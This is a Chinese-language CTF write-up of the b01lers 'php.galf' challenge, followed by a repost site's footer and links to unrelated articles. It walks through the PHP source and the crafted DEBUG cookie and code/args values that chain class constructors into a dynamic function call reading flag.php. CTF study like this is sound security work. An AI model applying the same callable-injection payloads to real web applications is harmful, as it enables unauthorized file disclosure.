b01lers(php.galf)

目录

前文

 正文


前文

<?php

class A{
    public $code=NULL;
    public $args=NULL;
    public function __construct($code,$args=NULL){
        $this->code=$code;
        $this->args=$args;
        print_r("2333") ;



}
public function __invoke($code,$args){
        echo $code;
    print_r("执行invoke") ;

}
}
$B=new A(55,66);
$B(33,44);

233 333执行invoke说明执行了construct和invoke

 throw new A(55, 100);也会对construct进行初始化

然后肯定是从index.php开始出发,php文件不算太多,可以逐个看一下出口也就是能够命令执行获得flag的地方。

最终可以在noitpecxe.php下面找到可疑点,因为这俩参数还是构造函数传进来的,也就是说我们可以通过调用实参来操作。

 正文

index.php


        <?php
            define('block', TRUE);
            require("parser/syntaxreader.php");
            include("flag.php");
            $code = "ohce ohce ohce ohce ohce ohce ohce";
            $args = "flag.php,aaa,aaa,highlight_file,orez_lum,orez_vid,syntaxreader";
            $result = NULL;


                if (!isset($_COOKIE['DEBUG'])){//如果cookie中不存在,DEBUG
                    $result = new syntaxreader($code, $args);
                } 
                else if (strcmp($_COOKIE['DEBUG'], hash("md5")) == 0) {
                    echo "Warning: Adming debugging enabled!";
                    $result = new syntaxreader($code, $args, NULL);
                } else {
                    $debug = array("Debugging Enabled!", 69);
                    $result = new syntaxreader($code, $args, $debug);
                }
                $result->run();

        ?>

这里code args是post传参可控,我这里直接把答案先写出来方便理解。

这里肯定会调用 syntaxreader的构造函数,看了一下三者的区别,其实就是末尾的debug传参的问题,第一个if和第二个elseif都是NULL,但是第三个确有值,这是唯一的差别。

syntaxreader.php 

public function __construct($lines, $args, $debug = NULL) {
            $this->code = explode("\n", $lines);//这里使用\n作为分隔符号,切成数组
            $this->args = $args;
            $this->result = $result;
            if (isset($debug)) {//这里不可能执行到的
                // disable debugging mode
                throw new noitpecxe(...$debug);
            }
        }

如果debug为true的话那么就可以直接初始化noipecxe,然后这里正好是我们一开始想到的漏洞点,直接让$error_func($this->message); ==== hightlight(flag.php)

这里说明一下数组传参,  $debug数组传参就会把参数逐个给形参也就是

(message,code,previous,error_func)

(flag.php,aa,aa,highlight)

noipecxe.php

<?php
class noitpecxe extends Exception
{
    public $error_func = NULL;
    public function __construct($message, $code, $previous = null, $error_func = "printf") {
        // remove when PHP 5.3 is no longer supported
        $this->error_func = $error_func;//printf
        $this->message = $message;//args的值,是个数组
        $previous = NULL;
        //dont care what ur code is LOL!
        $code = 69;
        parent::__construct($message, $code, $previous);
    }

    public function __toString() {
        $error_func = $this->error_func;//这里引用到了另一个函数
        $error_func($this->message);
        return __CLASS__ . ": {$this->code}\n";
    }
}
?>
$result->run(); ::parse

里面作用就是分割数组,并且code的值一定要一直是oche

public function parse() {
            $parsable = array("ohce");
            $arg_val = 0;
            $code = $this->code;
            $args = $this->args;
            $result = $this->result;

            for ($i = 0; $i < count($code); $i++) {//去掉刚才数组分割中的空格
                $code[$i] = trim($code[$i]);
            }

            $args = explode(",", $args);
            for ($i = 0; $i < count($args); $i++) {//对传入的args进行,分割且去掉空格
                $args[$i] = trim($args[$i]);
            }


            for ($i = 0; $i < count($code); $i++) {
                $token = explode(" ", $code[$i]);//通过空格继续分割
                for ($j = 0; $j < count($token); $j++) {
                    try {
                        if (!in_array($token[$j], $parsable)) {//这里必须要满足里面ohce
                            throw new noitpecxe("Non-Parsable Keyword!\n", 101);
                        }
                        if ($args[$arg_val] == NULL) {//args传入的不能为空
                            throw new noitpecxe("No Arguments!\n", 990);
                        }
                        if ($args[$arg_val] === "noitpecxe") {//不能是这个的值
                            throw new noitpecxe("No Exceptions!\n", 100);
                        }
                        $class = new $token[$j];//玄机在这里,这里肯定是一个跳转类的东西
                        $class($args, $arg_val);//我们可以根据参数来看调的哪个
                        $arg_val++;
                    } catch (noitpecxe $e) {
                        echo "Error Executing Code! Error: " . $e . "\n";
                    }
                    
                }

 然后就会调用oche.php

  public function __invoke($args, $arg_val) {
        $this->args = $args[$arg_val];
        $arg_val++;
        $parsable = array("orez_lum", "orez_dda");
        if (in_array($this->args, $parsable)) { // we can run operators in ohce!
            $class = new $this->args;
            $this->result = $class($args, $arg_val);
        } else {
            $this->result = $this->args;
        }
        $this->result = strrev($this->result) . "\n";
        echo $this->result;
    }

orez_lum和orez_dda内容几乎一样,调用谁都一样,然后调用orez_vid

为什么要调用它呢,看一下传参值

$class($arg, $arg_val); 
orez_vid  ($arg = "div", $arg_val = 0, $result = NULL)
new $arg[$arg_val]("div", $result, $arg);  
syntaxreader public function __construct($lines, $args, $debug = NULL)
throw new noitpecxe(...$debug);
public function __construct($message, $code, $previous = null, $error_func = "printf")

所以我们一开始传入的arg就可以一条线的到达我们的执行命令,然后就是看一下中间的条件,只有

$_COOKIE['DEBUG']存在即可和上面的index.php判断一样,ok结束
 public function __invoke($arg = "div", $arg_val = 0, $result = NULL) {
        if (!isset($_COOKIE['DEBUG'])) {  //just gonna prevent people from using this
                    throw new noitpecxe("You need to enable debugging mode to access this!\n", 0);
        }
        if ($arg[$arg_val] == NULL) {
            throw new noitpecxe("No Arguments!\n", 990);
        }
        if ($arg[$arg_val] === "noitpecxe") {
            throw new noitpecxe("No Exceptions!\n", 100);
        }
        if (isset($result)) {
            throw new noitpecxe("No dividing by zero!\n", 0);
        }
        // smart to call the constructor so there is an exception! I was a genius!
        $class = new $arg[$arg_val]("div", $result, $arg);
        $arg_val++;
        $this->result = $arg[$arg_val] / 0; // dividing by zero??
        return $this->result;
    }

这里卡了一下,debug是数组类型的,这点可以看php中赋值得知。 

就是我们输入的code是以空格分割的,这里+就是空格的意思,但我用空格也过去了qwq        ,一定要静下心来审计!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/3288.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

记一次若依后台管理系统渗透

前言 最近客户开始hw前的风险排查&#xff0c;让我们帮他做个渗透测试&#xff0c;只给一个单位名称。通过前期的信息收集&#xff0c;发现了这个站点&#xff1a; 没有验证码&#xff0c;再加上这个图标&#xff0c;吸引了我注意&#xff1a; 从弱口令开始 若依默认口令为ad…

Android 12.0 Settings主页面去掉FocusRecyclerView相关功能

1.前言 在12.0的系统rom产品定制化开发中,在系统Settings主页面的主菜单中,在测试某些功能的时候,比如开启护眼模式和改变系统密度会在主菜单第一项的网络菜单头部增加 自定义您的设备和设置护眼模式时间安排 等等相关的设置模块 这对于菜单布局显示相当不美观,所以根据系…

机器学习---降维算法

知其然知其所以然【写在前面】主成分分析&#xff08;PCA&#xff09;原理部分代码部分可视化部分线性判别分析&#xff08;LDA&#xff09;原理部分代码部分可视化部分独立成分分析&#xff08;ICA&#xff09;原理部分代码部分可视化部分t-SNE降维算法原理部分代码部分可视化…

请求响应数据?Controler层注解!

目录1. 请求1.1概述1.2 简单参数1.2.1 原始方式1.2.2 SpringBoot方式1.2.3 参数名不一致1.3 实体参数1.3.1 简单实体对象1.3.2 复杂实体对象1.4 数组集合参数1.4.1 数组1.4.2 集合1.5 日期参数1.6 JSON参数1.7 路径参数2. 响应2.1 ResponseBody2.2 统一响应结果1. 请求 1.1概述…

Hive数据仓库简介

文章目录Hive数据仓库简介一、数据仓库简介1. 什么是数据仓库2. 数据仓库的结构2.1 数据源2.2 数据存储与管理2.3 OLAP服务器2.4 前端工具3. 数据仓库的数据模型3.1 星状模型3.2 雪花模型二、Hive简介1. 什么是Hive2. Hive的发展历程3. Hive的本质4. Hive的优缺点4.1 优点4.2 缺…

Vue2响应式原理

目录 Object.defineProperty() 监听对象中的简单数据类型 监听对象中的对象(可以深层) 监听对象中的数组 借鉴的帖子&#xff1a;Object.defineProperty方法&#xff08;详解&#xff09;_objectdefineproperty_搞前端的小菜的博客-CSDN博客 b站视频讲解&#xff1a;Vue2响…

学习 Python 之 Pygame 开发魂斗罗(十三)

学习 Python 之 Pygame 开发魂斗罗&#xff08;十三&#xff09;继续编写魂斗罗1. 创建敌人2类2. 编写敌人2类的draw()函数3. 编写敌人越界消失函数4. 编写敌人开火函数5. 把敌人2加入地图进行测试继续编写魂斗罗 在上次的博客学习 Python 之 Pygame 开发魂斗罗&#xff08;十…

Adapter基础讲解

这一节我们要讲的UI控件都是跟Adapter(适配器)打交道的,了解并学会使用Adapter很重要, Adapter是用来帮助填充数据的中间桥梁,简单来说就是:将各种数据以合适的形式显示到view上,提供 给用户看! 1.MVC模式的简单理解 在开始学习Adapter之前我们要来了解下这个MVC模式概…

SpringBoot——Mybatis-XML映射文件—动态SQL

使用XML映射文件配置SQL语句的规范 XML文件当中的Mapper标签里面使用的select标签的id属性是Mapper接口里面的方法名&#xff0c;resultType属性名是SQL语句要返回的对象类型。 MybatisX插件 用于管理接口方法和映射文件的关系 注解和XML配置SQL语句两种选择 动态SQL——w…

Cookie 和 Session的区别

文章目录时间&#xff1a;2023年3月23日第一&#xff1a;什么是 Cookie 和 Session ?什么是 Cookie什么是 Session第二&#xff1a;Cookie 和 Session 有什么不同&#xff1f;第三&#xff1a;为什么需要 Cookie 和 Session&#xff0c;他们有什么关联&#xff1f;第四&#x…

由本溯源,带你探索BI实时性的本质

BI 采用T1模式 BI的数据仓库架构本身就决定了对数据的实时性要求没有那么高&#xff0c;ETL的过程不可或缺&#xff0c;Extraction 抽取、Transformation 转换、Loading 加载&#xff0c;这三个环节本身就是有时间损耗的。 BI - 派可数据BI可视化分析平台 首先&#xff0c;Ex…

动态内存管理(上)——“C”

各位CSDN的uu们你们好呀&#xff0c;今天&#xff0c;小雅兰的内容是动态内存管理噢&#xff0c;下面&#xff0c;让我们进入动态内存管理的世界吧 为什么存在动态内存分配 动态内存函数的介绍 malloc free calloc realloc 常见的动态内存错误 为什么存在动态内存分配 我们已…

第十四届蓝桥杯三月真题刷题训练——第 22 天

目录 第 1 题&#xff1a;受伤的皇后_dfs 题目描述 输入描述 输出描述 输入输出样例 运行限制 代码&#xff1a; 思路&#xff1a; 第 2 题&#xff1a;完全平方数 问题描述 输入格式 输出格式 样例输入 1 样例输出 1 样例输入 2 样例输出 2 评测用例规模与约…

Jenkins--邮件通知设置与构建日志邮件通知设置(踩过很多坑之后,记录一下)

1为啥要配置邮件通知配置邮件通知的目的是为了给用户发送构建结果的状态&#xff0c;以便用户知晓构建任务后的结果。2 开始配置邮件通知2.1 插件准备先检查Jenkins是否安装了Email Extension Plugin 插件&#xff0c;检查方法如下&#xff1a;进入Jenkins-->Manage Jenkins…

uni-app:登录与支付--用户信息

用户信息 实现用户头像昵称区域的基本布局 在 my-userinfo 组件中&#xff0c;定义如下的 UI 结构&#xff1a; <template><view class"my-userinfo-container"><!-- 头像昵称区域 --><view class"top-box"><image src"…

蓝桥杯刷题冲刺 | 倒计时18天

作者&#xff1a;指针不指南吗 专栏&#xff1a;蓝桥杯倒计时冲刺 &#x1f43e;马上就要蓝桥杯了&#xff0c;最后的这几天尤为重要&#xff0c;不可懈怠哦&#x1f43e; 文章目录0.知识点1.乳草的入侵今天写 搜索题 0.知识点 DFS 设计步骤 确定该题目的状态&#xff08;包括边…

串口,IIC,SPI,USB等总线硬件知识总结

串口&#xff0c;IIC&#xff0c;SPI&#xff0c;USB等总线硬件知识总结 文章目录串口&#xff0c;IIC&#xff0c;SPI&#xff0c;USB等总线硬件知识总结1 串口2.I2C3.SPI4.USB控制&#xff08;Control&#xff09;传输方式同步&#xff08;Isochronous&#xff09;传输方式中…

vue3+vite+ts 搭建脚手架01创建vite项目并且在项目中初次使用router

vue3vite 搭建脚手架01创建vite项目并且在项目中使用router 1.使用yarn安装vite项目 yarn create vite 搭建vite项目 在开发语言中选择vuets2.安装现在最新的 vue-router4 yarn add vue-router4 在packger中检查是否成功安装3.简单配置router文件 在项目中新建views和…

【C++】map、set、multimap、multiset的介绍和使用

我讨厌世俗&#xff0c;也耐得住孤独。 文章目录一、键值对二、树形结构的关联式容器1.set1.1 set的介绍1.2 set的使用1.3 multiset的使用2.map2.1 map的介绍2.2 map的使用2.3 multimap的使用三、两道OJ题1.前K个高频单词&#xff08;less<T>小于号是小的在左面升序&…

如何将字符串反转?

参考答案 使用 StringBuilder 或 StringBuffer 的 reverse 方法&#xff0c;本质都调用了它们的父类 AbstractStringBuilder 的 reverse 方法实现。&#xff08;JDK1.8&#xff09;不考虑字符串中的字符是否是 Unicode 编码&#xff0c;自己实现。递归1. public AbstractStrin…